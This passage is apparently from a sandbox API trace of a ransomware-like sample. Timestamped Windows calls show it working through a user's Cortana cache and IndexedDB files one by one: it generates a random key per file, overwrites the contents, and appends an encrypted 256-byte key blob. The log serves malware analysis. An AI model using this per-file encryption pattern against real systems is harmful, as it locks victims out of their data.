lpNumberOfBytesRead=0x2e1f9bc*=0x41c2, lpOverlapped=0x0) returned 1 [0173.598] SetFilePointer (in: hFile=0x1844, lDistanceToMove=-16834, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.598] WriteFile (in: hFile=0x1844, lpBuffer=0x30d51f8*, nNumberOfBytesToWrite=0x41c2, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d51f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x41c2, lpOverlapped=0x0) returned 1 [0173.598] SetFilePointer (in: hFile=0x1844, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x41c2 [0173.598] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0173.598] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0173.598] WriteFile (in: hFile=0x1844, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0173.599] WriteFile (in: hFile=0x1844, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0173.599] CloseHandle (hObject=0x1844) returned 1 [0173.600] WriteFile (in: hFile=0x1848, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0173.602] CloseHandle (hObject=0x1848) returned 1 [0173.602] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0173.602] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0173.602] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\container.dat", dwFileAttributes=0x80) returned 1 [0173.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x2f6a058 [0173.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x136) returned 0x570c48 [0173.602] ReadFile (in: hFile=0x1848, lpBuffer=0x5c34c8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0173.602] SetFilePointer (in: hFile=0x1848, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.602] WriteFile (in: hFile=0x1848, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0173.602] SetFilePointer (in: hFile=0x1848, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0173.603] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0173.603] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0173.603] WriteFile (in: hFile=0x1848, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0173.604] WriteFile (in: hFile=0x1848, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0173.604] CloseHandle (hObject=0x1848) returned 1 [0173.606] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0173.606] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0173.606] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\INetCache\\container.dat", dwFileAttributes=0x80) returned 1 [0173.606] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x2f69cf8 [0173.606] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x136) returned 0x570c48 [0173.607] ReadFile (in: hFile=0x184c, lpBuffer=0x5c3448, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0173.607] SetFilePointer (in: hFile=0x184c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.607] WriteFile (in: hFile=0x184c, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0173.607] SetFilePointer (in: hFile=0x184c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0173.607] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0173.607] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0173.607] WriteFile (in: hFile=0x184c, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0173.608] WriteFile (in: hFile=0x184c, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0173.609] CloseHandle (hObject=0x184c) returned 1 [0173.615] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0173.615] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0173.615] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\INetCookies\\container.dat", dwFileAttributes=0x80) returned 1 [0173.615] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30c9868 [0173.615] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14e) returned 0x6181b8 [0173.616] ReadFile (in: hFile=0x1850, lpBuffer=0x5c3448, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0173.616] SetFilePointer (in: hFile=0x1850, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.616] WriteFile (in: hFile=0x1850, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0173.616] SetFilePointer (in: hFile=0x1850, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0173.616] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0173.616] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0173.616] WriteFile (in: hFile=0x1850, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0173.617] WriteFile (in: hFile=0x1850, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0173.617] CloseHandle (hObject=0x1850) returned 1 [0173.619] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0173.619] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0173.619] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\IndexedDB.jfm", dwFileAttributes=0x80) returned 1 [0173.619] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30cae28 [0173.619] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14e) returned 0x617c58 [0173.620] ReadFile (in: hFile=0x1858, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x4000, lpOverlapped=0x0) returned 1 [0173.621] SetFilePointer (in: hFile=0x1858, lDistanceToMove=-16384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.621] WriteFile (in: hFile=0x1858, lpBuffer=0x30d5030*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5030*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4000, lpOverlapped=0x0) returned 1 [0173.622] SetFilePointer (in: hFile=0x1858, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4000 [0173.622] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0173.622] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0173.622] WriteFile (in: hFile=0x1858, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0173.623] WriteFile (in: hFile=0x1858, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0173.623] CloseHandle (hObject=0x1858) returned 1 [0173.624] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0173.625] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0173.625] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\IndexedDB.edb", dwFileAttributes=0x80) returned 1 [0173.625] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30ca8b8 [0173.625] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14e) returned 0x6181b8 [0173.650] ReadFile (in: hFile=0x1858, lpBuffer=0x352f020, nNumberOfBytesToRead=0x600000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x352f020*, lpNumberOfBytesRead=0x2e1f9bc*=0x600000, lpOverlapped=0x0) returned 1 [0174.001] SetFilePointer (in: hFile=0x1858, lDistanceToMove=-6291456, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.002] WriteFile (in: hFile=0x1858, lpBuffer=0x3b4a020*, nNumberOfBytesToWrite=0x600000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3b4a020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x600000, lpOverlapped=0x0) returned 1 [0174.113] SetFilePointer (in: hFile=0x1858, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x600000 [0174.113] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0174.113] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0174.113] WriteFile (in: hFile=0x1858, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0174.122] WriteFile (in: hFile=0x1858, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0174.122] CloseHandle (hObject=0x1858) returned 1 [0174.124] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0174.124] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0174.124] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edbtmp.log", dwFileAttributes=0x80) returned 1 [0174.125] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30ca8b8 [0174.125] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14e) returned 0x617db0 [0174.127] ReadFile (in: hFile=0x1858, lpBuffer=0x6f7020, nNumberOfBytesToRead=0x80000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x6f7020*, lpNumberOfBytesRead=0x2e1f9bc*=0x80000, lpOverlapped=0x0) returned 1 [0174.140] SetFilePointer (in: hFile=0x1858, lDistanceToMove=-524288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.140] WriteFile (in: hFile=0x1858, lpBuffer=0x352a020*, nNumberOfBytesToWrite=0x80000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x352a020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x80000, lpOverlapped=0x0) returned 1 [0174.146] SetFilePointer (in: hFile=0x1858, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x80000 [0174.146] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0174.146] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0174.146] WriteFile (in: hFile=0x1858, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0174.147] WriteFile (in: hFile=0x1858, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0174.147] CloseHandle (hObject=0x1858) returned 1 [0174.149] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0174.149] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0174.149] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edbres00002.jrs", dwFileAttributes=0x80) returned 1 [0174.150] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30ca430 [0174.150] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14e) returned 0x6181b8 [0174.152] ReadFile (in: hFile=0x1858, lpBuffer=0x6f5020, nNumberOfBytesToRead=0x80000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x6f5020*, lpNumberOfBytesRead=0x2e1f9bc*=0x80000, lpOverlapped=0x0) returned 1 [0174.169] SetFilePointer (in: hFile=0x1858, lDistanceToMove=-524288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.169] WriteFile (in: hFile=0x1858, lpBuffer=0x3523020*, nNumberOfBytesToWrite=0x80000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3523020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x80000, lpOverlapped=0x0) returned 1 [0174.175] SetFilePointer (in: hFile=0x1858, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x80000 [0174.175] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0174.175] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0174.217] WriteFile (in: hFile=0x1858, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0174.218] WriteFile (in: hFile=0x1858, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0174.218] CloseHandle (hObject=0x1858) returned 1 [0174.220] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0174.220] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0174.220] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edbres00001.jrs", dwFileAttributes=0x80) returned 1 [0174.220] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30c93e0 [0174.220] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14e) returned 0x617c58 [0174.222] ReadFile (in: hFile=0x1858, lpBuffer=0x6f0020, nNumberOfBytesToRead=0x80000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x6f0020*, lpNumberOfBytesRead=0x2e1f9bc*=0x80000, lpOverlapped=0x0) returned 1 [0174.239] SetFilePointer (in: hFile=0x1858, lDistanceToMove=-524288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.239] WriteFile (in: hFile=0x1858, lpBuffer=0x3527020*, nNumberOfBytesToWrite=0x80000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3527020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x80000, lpOverlapped=0x0) returned 1 [0174.245] SetFilePointer (in: hFile=0x1858, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x80000 [0174.245] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0174.245] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0174.245] WriteFile (in: hFile=0x1858, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0174.246] WriteFile (in: hFile=0x1858, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0174.246] CloseHandle (hObject=0x1858) returned 1 [0174.249] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0174.249] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0174.249] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edb00009.log", dwFileAttributes=0x80) returned 1 [0174.261] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30ca7d0 [0174.261] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14e) returned 0x617f08 [0174.263] ReadFile (in: hFile=0x1858, lpBuffer=0x6f1020, nNumberOfBytesToRead=0x80000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x6f1020*, lpNumberOfBytesRead=0x2e1f9bc*=0x80000, lpOverlapped=0x0) returned 1 [0174.276] SetFilePointer (in: hFile=0x1858, lDistanceToMove=-524288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.276] WriteFile (in: hFile=0x1858, lpBuffer=0x3527020*, nNumberOfBytesToWrite=0x80000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3527020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x80000, lpOverlapped=0x0) returned 1 [0174.282] SetFilePointer (in: hFile=0x1858, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x80000 [0174.282] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0174.282] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0174.282] WriteFile (in: hFile=0x1858, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0174.283] WriteFile (in: hFile=0x1858, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0174.283] CloseHandle (hObject=0x1858) returned 1 [0174.285] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0174.285] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0174.285] SetFileAttributesW 